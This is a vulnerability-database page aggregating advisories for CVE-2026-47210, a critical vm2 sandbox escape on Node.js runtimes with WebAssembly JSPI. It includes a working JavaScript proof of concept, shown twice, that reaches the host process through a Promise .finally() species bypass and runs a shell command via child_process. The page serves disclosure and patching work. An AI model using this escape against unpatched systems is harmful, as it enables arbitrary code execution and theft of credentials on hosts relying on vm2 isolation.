Vulnerability-Lookup

CVE-2026-47210 (GCVE-0-2026-47210)

Vulnerability from cvelistv5 – Published: 2026-06-12 14:17 – Updated: 2026-06-13 03:56

Title

vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

Summary

vm2 is an open source vm/sandbox for Node.js. Prior to version 3.11.4, a sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary. This issue has been patched in version 3.11.4.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-12 00:00 UTC

CWE

CWE-913 - Improper Control of Dynamically-Managed Code Resources

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7926 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/patriksimek/vm2/security/advis…	x_refsource_CONFIRM
https://github.com/patriksimek/vm2/commit/6915fa4…	x_refsource_MISC
https://github.com/patriksimek/vm2/releases/tag/v3.11.4	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
patriksimek	vm2	Affected: < 3.11.4	guessed

Show details on NVD website

JSON

To clipboard

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}

FKIE_CVE-2026-47210

Vulnerability from fkie_nvd - Published: 2026-06-12 15:16 - Updated: 2026-10-26 11:10

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6
	security-advisories@github.com	https://github.com/patriksimek/vm2/releases/tag/v3.11.4
	security-advisories@github.com	https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q

Impacted products

	Vendor	Product	Version

JSON

To clipboard

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  "affected": [
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      "affectedData": [
        {
          "product": "vm2",
          "vendor": "patriksimek",
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    },
    {
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      "value": "vm2 es una vm/sandbox de c\u00f3digo abierto para Node.js. Antes de la versi\u00f3n 3.11.4, una vulnerabilidad de escape de sandbox en vm2 permite la ejecuci\u00f3n de c\u00f3digo arbitrario en el proceso anfitri\u00f3n cuando se ejecuta c\u00f3digo no confiable con soporte as\u00edncrono en entornos de ejecuci\u00f3n que exponen WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). En la configuraci\u00f3n probada, una Promesa respaldada por JSPI puede alcanzar Promise.prototype.finally() de una manera que elude el endurecimiento esperado de las especies de Promesa y expone un objeto de rechazo originado en el anfitri\u00f3n a la l\u00f3gica de especies controlada por el atacante, rompiendo el l\u00edmite de la sandbox. Este problema ha sido parcheado en la versi\u00f3n 3.11.4."
    }
  ],
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  "lastModified": "2026-10-26T11:10:00.157",
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}

GHSA-6J2X-VHQR-QR7Q

Vulnerability from github – Published: 2026-05-29 17:51 – Updated: 2026-06-12 20:55

Summary

vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass

Details

Summary

A sandbox escape vulnerability in vm2 allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (WebAssembly.promising / WebAssembly.Suspending). In the tested configuration, a JSPI-backed Promise can reach Promise.prototype.finally() in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.

This is a critical sandbox escape: any application that treats vm2 as a security boundary may be fully compromised.

Details

On node26, JSPI-backed Promises created through WebAssembly.promising(...) do not behave like ordinary sandbox Promises.

That path yields a host-originated TypeError during JSPI processing. Inside attacker-controlled species logic reached through .finally(), the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object's constructor path can be used to reach host process, which leads to arbitrary code execution in the host process.

This behavior is specific to the JSPI / .finally() interaction. In contrast, the corresponding then / catch paths still appeared to route through vm2's expected localPromise machinery in my testing.

PoC

Environment: node:26-bookworm

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
(()=>{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=>WebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=>{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=>{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=>{
    let P=e.constructor.constructor('return process')()
    P.mainModule.require('child_process').execSync('touch pwned');
    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,'constructor',{get(){return F}});p.finally(()=>{})});return 1})()
`));

Impact

This is a sandbox escape leading to arbitrary code execution in the host process.

Who is impacted:

any application using vm2 to execute attacker-controlled JavaScript as a security boundary
especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)

Practical impact:

arbitrary command execution in the host process
arbitrary file read / write accessible to the host process
theft of secrets, tokens, credentials, and application data
complete compromise of services relying on vm2 isolation

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47210"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-913"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T17:51:05Z",
    "nvd_published_at": "2026-06-12T15:16:29Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\nA sandbox escape vulnerability in `vm2` allows arbitrary code execution in the host process when untrusted code is executed with async support on runtimes exposing WebAssembly JSPI (`WebAssembly.promising` / `WebAssembly.Suspending`). In the tested configuration, a JSPI-backed Promise can reach `Promise.prototype.finally()` in a way that bypasses the expected Promise-species hardening and exposes a host-originated rejection object to attacker-controlled species logic, breaking the sandbox boundary.\n\nThis is a critical sandbox escape: any application that treats `vm2` as a security boundary may be fully compromised.\n\n### Details\n\nOn node26, JSPI-backed Promises created through `WebAssembly.promising(...)` do not behave like ordinary sandbox Promises.\n\nThat path yields a host-originated `TypeError` during JSPI processing. Inside attacker-controlled species logic reached through `.finally()`, the rejection object exposes a usable host constructor chain. In the tested environment, the rejection object\u0027s constructor path can be used to reach host `process`, which leads to arbitrary code execution in the host process.\n\nThis behavior is specific to the JSPI / `.finally()` interaction. In contrast, the corresponding `then` / `catch` paths still appeared to route through `vm2`\u0027s expected `localPromise` machinery in my testing.\n\n### PoC\nEnvironment: node:26-bookworm\n```javascript\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\n(()=\u003e{let b=Uint8Array.of(0,97,115,109,1,0,0,0,1,4,1,96,0,0,2,7,1,1,109,1,102,0,0,3,2,1,0,7,7,1,3,114,117,110,0,1,10,6,1,4,0,16,0,11);WebAssembly.instantiate(b,{m:{f:new WebAssembly.Suspending(()=\u003eWebAssembly.compileStreaming(Promise.resolve(0)))}}).then(r=\u003e{let p=WebAssembly.promising(r.instance.exports.run)();class F{constructor(x){this.s=0;this.q=[];x(v=\u003e{this.s=1;this.v=v;for(let i of this.q)if(i[0])i[0](v)},e=\u003e{\n    let P=e.constructor.constructor(\u0027return process\u0027)()\n    P.mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n    this.s=2;this.v=e;for(let i of this.q)if(i[1])i[1](e)})}then(f,r){if(this.s==1)return f?f(this.v):this.v;if(this.s==2){if(r)return r(this.v);throw this.v}this.q.push([f,r]);return 0}}Object.defineProperty(F,Symbol.species,{get(){return F}});Object.defineProperty(p,\u0027constructor\u0027,{get(){return F}});p.finally(()=\u003e{})});return 1})()\n`));\n```\n\n### Impact\nThis is a **sandbox escape leading to arbitrary code execution in the host process**.\n\nWho is impacted:\n\n- any application using `vm2` to execute attacker-controlled JavaScript as a security boundary\n- especially Node.js runtimes exposing WebAssembly JSPI features (Node 26)\n\nPractical impact:\n\n- arbitrary command execution in the host process\n- arbitrary file read / write accessible to the host process\n- theft of secrets, tokens, credentials, and application data\n- complete compromise of services relying on `vm2` isolation",
  "id": "GHSA-6j2x-vhqr-qr7q",
  "modified": "2026-06-12T20:55:08Z",
  "published": "2026-05-29T17:51:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-6j2x-vhqr-qr7q"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47210"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/commit/6915fa4d9bcebd47b9a4f39a1adc1aa94ef6ffc6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 sandbox escape via JSPI-backed Promise `.finally()` species bypass"
}

RHSA-2026:36754

Vulnerability from csaf_redhat - Published: 2026-07-08 13:07 - Updated: 2026-10-29 08:39

Summary

Red Hat Security Advisory: Red Hat Developer Hub 1.10.2 release.

Severity

Important

Scope

29 vulnerabilities in this advisory, including CVE-2026-47210.

CVE-2026-47210

A flaw was found in vm2, an open-source virtual machine (VM) sandbox for Node.js. This sandbox escape vulnerability allows an attacker to execute arbitrary code in the host process. This occurs when untrusted code is executed with asynchronous (async) support on runtimes that expose WebAssembly JavaScript Promise Integration (JSPI). Specifically, a JSPI-backed Promise can bypass expected Promise-species hardening, exposing a host-originated rejection object to attacker-controlled logic and breaking the sandbox boundary.

8.1 (High)


                
                  CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Fixed: 1 product Known not affected: 4 products

https://access.redhat.com/errata/RHSA-2026:36754

Open the full advisory

WID-SEC-W-2026-1583

Vulnerability from csaf_certbund - Published: 2026-05-18 22:00 - Updated: 2026-08-05 22:00

Summary

vm2: Mehrere Schwachstellen

Severity

Kritisch

Scope

9 vulnerabilities in this advisory, including CVE-2026-47210.

CVE-2026-47210

Known affected: 2 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

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CVE-2026-47210 (GCVE-0-2026-47210)

FKIE_CVE-2026-47210

GHSA-6J2X-VHQR-QR7Q

Summary

Details

PoC

Impact

RHSA-2026:36754

WID-SEC-W-2026-1583

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